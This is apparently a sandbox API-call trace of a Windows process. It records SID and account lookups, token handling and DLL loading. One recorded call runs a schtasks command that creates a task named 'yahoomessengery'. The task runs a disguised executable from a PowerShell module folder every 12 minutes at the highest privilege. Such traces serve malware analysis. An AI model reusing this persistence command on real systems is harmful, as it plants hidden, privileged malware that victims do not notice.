(_Block=0xeef20) [0066.703] malloc (_Size=0x18) returned 0xeef20 [0066.703] free (_Block=0xf0800) [0066.704] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0066.704] GetLastError () returned 0x7a [0066.704] malloc (_Size=0x14) returned 0xef040 [0066.704] malloc (_Size=0x16) returned 0xef020 [0066.704] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef040, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0066.706] malloc (_Size=0x18) returned 0xef0a0 [0066.706] malloc (_Size=0x18) returned 0xeef00 [0066.706] free (_Block=0xef040) [0066.706] free (_Block=0xef020) [0066.706] free (_Block=0xeff00) [0066.706] free (_Block=0xeef00) [0066.706] free (_Block=0xef0a0) [0066.707] free (_Block=0xeef20) [0066.707] free (_Block=0xee200) [0066.707] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0066.707] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0066.707] GetLastError () returned 0x7a [0066.707] malloc (_Size=0x2c) returned 0xee240 [0066.707] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0066.707] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.707] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0066.707] malloc (_Size=0x1c) returned 0xeff00 [0066.707] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff00, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff00*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0066.708] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0066.708] malloc (_Size=0x18) returned 0xeef20 [0066.708] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0066.708] malloc (_Size=0x18) returned 0xef0a0 [0066.708] malloc (_Size=0x18) returned 0xeef00 [0066.708] SysStringLen (param_1="S-1-") returned 0x4 [0066.708] SysStringLen (param_1="5") returned 0x1 [0066.708] memcpy (in: _Dst=0x3811a8, _Src=0x381058, _Size=0xa | out: _Dst=0x3811a8) returned 0x3811a8 [0066.708] memcpy (in: _Dst=0x3811b0, _Src=0x381148, _Size=0x4 | out: _Dst=0x3811b0) returned 0x3811b0 [0066.708] free (_Block=0xeef20) [0066.708] free (_Block=0xef0a0) [0066.708] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0066.708] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0066.708] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0066.708] malloc (_Size=0x18) returned 0xef0a0 [0066.708] malloc (_Size=0x18) returned 0xeef20 [0066.708] SysStringLen (param_1="S-1-5") returned 0x5 [0066.708] SysStringLen (param_1="-") returned 0x1 [0066.708] memcpy (in: _Dst=0x381148, _Src=0x3811a8, _Size=0xc | out: _Dst=0x381148) returned 0x381148 [0066.708] memcpy (in: _Dst=0x381152, _Src=0x381058, _Size=0x4 | out: _Dst=0x381152) returned 0x381152 [0066.709] free (_Block=0xeef00) [0066.709] free (_Block=0xef0a0) [0066.709] malloc (_Size=0x18) returned 0xef0a0 [0066.709] malloc (_Size=0x18) returned 0xeef00 [0066.709] SysStringLen (param_1="S-1-5-") returned 0x6 [0066.709] SysStringLen (param_1="21") returned 0x2 [0066.709] memcpy (in: _Dst=0x381058, _Src=0x381148, _Size=0xe | out: _Dst=0x381058) returned 0x381058 [0066.709] memcpy (in: _Dst=0x381064, _Src=0x3811a8, _Size=0x6 | out: _Dst=0x381064) returned 0x381064 [0066.709] free (_Block=0xeef20) [0066.709] free (_Block=0xef0a0) [0066.709] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0066.709] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0066.709] malloc (_Size=0x18) returned 0xef0a0 [0066.709] malloc (_Size=0x18) returned 0xeef20 [0066.709] SysStringLen (param_1="S-1-5-21") returned 0x8 [0066.709] SysStringLen (param_1="-") returned 0x1 [0066.709] memcpy (in: _Dst=0x3811a8, _Src=0x381058, _Size=0x12 | out: _Dst=0x3811a8) returned 0x3811a8 [0066.709] memcpy (in: _Dst=0x3811b8, _Src=0x381148, _Size=0x4 | out: _Dst=0x3811b8) returned 0x3811b8 [0066.709] free (_Block=0xeef00) [0066.710] free (_Block=0xef0a0) [0066.710] malloc (_Size=0x18) returned 0xef0a0 [0066.710] malloc (_Size=0x18) returned 0xeef00 [0066.710] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0066.710] SysStringLen (param_1="4219442223") returned 0xa [0066.710] memcpy (in: _Dst=0x338318, _Src=0x3811a8, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0066.710] memcpy (in: _Dst=0x33832a, _Src=0x381058, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0066.710] free (_Block=0xeef20) [0066.710] free (_Block=0xef0a0) [0066.710] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0066.710] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0066.710] malloc (_Size=0x18) returned 0xef0a0 [0066.710] malloc (_Size=0x18) returned 0xeef20 [0066.710] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0066.710] SysStringLen (param_1="-") returned 0x1 [0066.710] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0066.710] memcpy (in: _Dst=0x3377ae, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0066.710] free (_Block=0xeef00) [0066.710] free (_Block=0xef0a0) [0066.710] malloc (_Size=0x18) returned 0xef0a0 [0066.710] malloc (_Size=0x18) returned 0xeef00 [0066.710] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0066.710] SysStringLen (param_1="4223814209") returned 0xa [0066.711] memcpy (in: _Dst=0x34db78, _Src=0x337788, _Size=0x2a | out: _Dst=0x34db78) returned 0x34db78 [0066.711] memcpy (in: _Dst=0x34dba0, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34dba0) returned 0x34dba0 [0066.711] free (_Block=0xeef20) [0066.711] free (_Block=0xef0a0) [0066.711] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0066.711] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0066.711] malloc (_Size=0x18) returned 0xef0a0 [0066.711] malloc (_Size=0x18) returned 0xeef20 [0066.711] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0066.711] SysStringLen (param_1="-") returned 0x1 [0066.711] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0066.711] memcpy (in: _Dst=0x34daa4, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0066.711] free (_Block=0xeef00) [0066.711] free (_Block=0xef0a0) [0066.711] malloc (_Size=0x18) returned 0xef0a0 [0066.711] malloc (_Size=0x18) returned 0xeef00 [0066.711] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0066.711] SysStringLen (param_1="3835049652") returned 0xa [0066.711] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34db78) returned 0x34db78 [0066.711] memcpy (in: _Dst=0x34dbb6, _Src=0x3811a8, _Size=0x16 | out: _Dst=0x34dbb6) returned 0x34dbb6 [0066.711] free (_Block=0xeef20) [0066.711] free (_Block=0xef0a0) [0066.712] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0066.712] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0066.712] malloc (_Size=0x18) returned 0xef0a0 [0066.712] malloc (_Size=0x18) returned 0xeef20 [0066.712] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0066.712] SysStringLen (param_1="-") returned 0x1 [0066.712] memcpy (in: _Dst=0x34da68, _Src=0x34db78, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0066.712] memcpy (in: _Dst=0x34daba, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0066.712] free (_Block=0xeef00) [0066.712] free (_Block=0xef0a0) [0066.712] malloc (_Size=0x18) returned 0xef0a0 [0066.712] malloc (_Size=0x18) returned 0xeef00 [0066.712] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0066.712] SysStringLen (param_1="1000") returned 0x4 [0066.712] memcpy (in: _Dst=0x34db78, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34db78) returned 0x34db78 [0066.712] memcpy (in: _Dst=0x34dbcc, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34dbcc) returned 0x34dbcc [0066.712] free (_Block=0xeef20) [0066.712] free (_Block=0xef0a0) [0066.712] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0066.712] malloc (_Size=0x5e) returned 0xf0800 [0066.712] free (_Block=0xeef00) [0066.712] malloc (_Size=0x18) returned 0xeef00 [0066.713] free (_Block=0xf0800) [0066.713] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0066.741] GetLastError () returned 0x7a [0066.741] malloc (_Size=0x14) returned 0xef0a0 [0066.741] malloc (_Size=0x16) returned 0xeef20 [0066.741] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xeef20, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0066.742] malloc (_Size=0x18) returned 0xef020 [0066.742] malloc (_Size=0x18) returned 0xef040 [0066.742] free (_Block=0xef0a0) [0066.742] free (_Block=0xeef20) [0066.742] free (_Block=0xeff00) [0066.742] free (_Block=0xef040) [0066.742] free (_Block=0xef020) [0066.742] free (_Block=0xeef00) [0066.743] free (_Block=0xee240) [0066.743] malloc (_Size=0x48) returned 0xed400 [0066.743] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0066.747] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0066.747] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0066.747] malloc (_Size=0x18) returned 0xeef00 [0066.747] CreateEnvironmentBlock () returned 0x1 [0066.751] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0066.751] malloc (_Size=0x18) returned 0xef020 [0066.752] CreateProcessAsUserW (in: hToken=0x24c, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"yahoomessengery\" /sc MINUTE /mo 12 /tr \"'C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\en-US\\yahoomessenger.exe'\" /rl HIGHEST /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x248, dwProcessId=0xf6c, dwThreadId=0xf70)) returned 1 [0066.756] CloseHandle (hObject=0x2fc) returned 1 [0066.756] CloseHandle (hObject=0x248) returned 1 [0066.756] free (_Block=0xef020) [0066.756] DestroyEnvironmentBlock () returned 0x1 [0066.756] malloc (_Size=0x48) returned 0xed270 [0066.756] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x50de1980, dwHighDateTime=0x1d9eb0c)) [0066.757] SetEvent (hEvent=0x1f0) returned 1 [0066.757] CloseHandle (hObject=0x234) returned 1 [0066.757] CloseHandle (hObject=0x24c) returned 1 [0067.074] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0067.074] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0067.074] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0067.654] SetLastError (dwErrCode=0x0) [0067.654] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0067.654] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0067.654] SetLastError (dwErrCode=0x0) [0067.654] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0067.655] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0067.655] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0067.655] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0067.655] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0067.655] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0067.657] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0067.658] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0067.658] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0067.658] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0067.658] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0067.658] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0067.658] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0067.660] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0067.660] GetCurrentThread () returned 0xfffffffffffffffe [0067.660] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x234) returned 1 [0067.660] malloc (_Size=0xd8) returned 0xf4740 [0067.660] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0067.661] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0067.662] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0067.662] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0067.662] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0067.662] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0067.662] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0067.662] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0067.663] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0067.663] malloc (_Size=0x18) returned 0xeef60 [0067.663] DuplicateTokenEx (in: hExistingToken=0x234, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x248) returned 1 [0067.664] malloc (_Size=0x48) returned 0xed2c0 [0067.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x51682940, dwHighDateTime=0x1d9eb0c)) [0067.664] SetEvent (hEvent=0x1f0) returned 1 [0067.669] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0067.670] GetLastError () returned 0x7a [0067.670] malloc (_Size=0x2c) returned 0xee200 [0067.670] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0067.670] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0067.670] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0067.670] malloc (_Size=0x1c) returned 0xeff60 [0067.670] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0067.670] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0067.670] malloc (_Size=0x18) returned 0xeef60 [0067.670] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0067.670] malloc (_Size=0x18) returned 0xeef00 [0067.670] malloc (_Size=0x18) returned 0xef020 [0067.670] SysStringLen (param_1="S-1-") returned 0x4 [0067.670] SysStringLen (param_1="5") returned 0x1 [0067.670] memcpy (in: _Dst=0x381178, _Src=0x3810e8, _Size=0xa | out: _Dst=0x381178) returned 0x381178 [0067.670] memcpy (in: _Dst=0x381180, _Src=0x381118, _Size=0x4 | out: _Dst=0x381180) returned 0x381180 [0067.670] free (_Block=0xeef60) [0067.670] free (_Block=0xeef00) [0067.670] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0067.670] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0067.670] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0067.670] malloc (_Size=0x18) returned 0xeef00 [0067.670] malloc (_Size=0x18) returned 0xeef60 [0067.671] SysStringLen (param_1="S-1-5") returned 0x5 [0067.671] SysStringLen (param_1="-") returned 0x1 [0067.671] memcpy (in: _Dst=0x381118, _Src=0x381178, _Size=0xc | out: _Dst=0x381118) returned 0x381118 [0067.671] memcpy (in: _Dst=0x381122, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381122) returned 0x381122 [0067.671] free (_Block=0xef020) [0067.671] free (_Block=0xeef00) [0067.671] malloc (_Size=0x18) returned 0xeef00 [0067.671] malloc (_Size=0x18) returned 0xef020 [0067.671] SysStringLen (param_1="S-1-5-") returned 0x6 [0067.671] SysStringLen (param_1="21") returned 0x2 [0067.671] memcpy (in: _Dst=0x3810e8, _Src=0x381118, _Size=0xe | out: _Dst=0x3810e8) returned 0x3810e8 [0067.671] memcpy (in: _Dst=0x3810f4, _Src=0x381178, _Size=0x6 | out: _Dst=0x3810f4) returned 0x3810f4 [0067.671] free (_Block=0xeef60) [0067.671] free (_Block=0xeef00) [0067.671] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0067.671] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0067.671] malloc (_Size=0x18) returned 0xeef00 [0067.671] malloc (_Size=0x18) returned 0xeef60 [0067.671] SysStringLen (param_1="S-1-5-21") returned 0x8 [0067.671] SysStringLen (param_1="-") returned 0x1 [0067.671] memcpy (in: 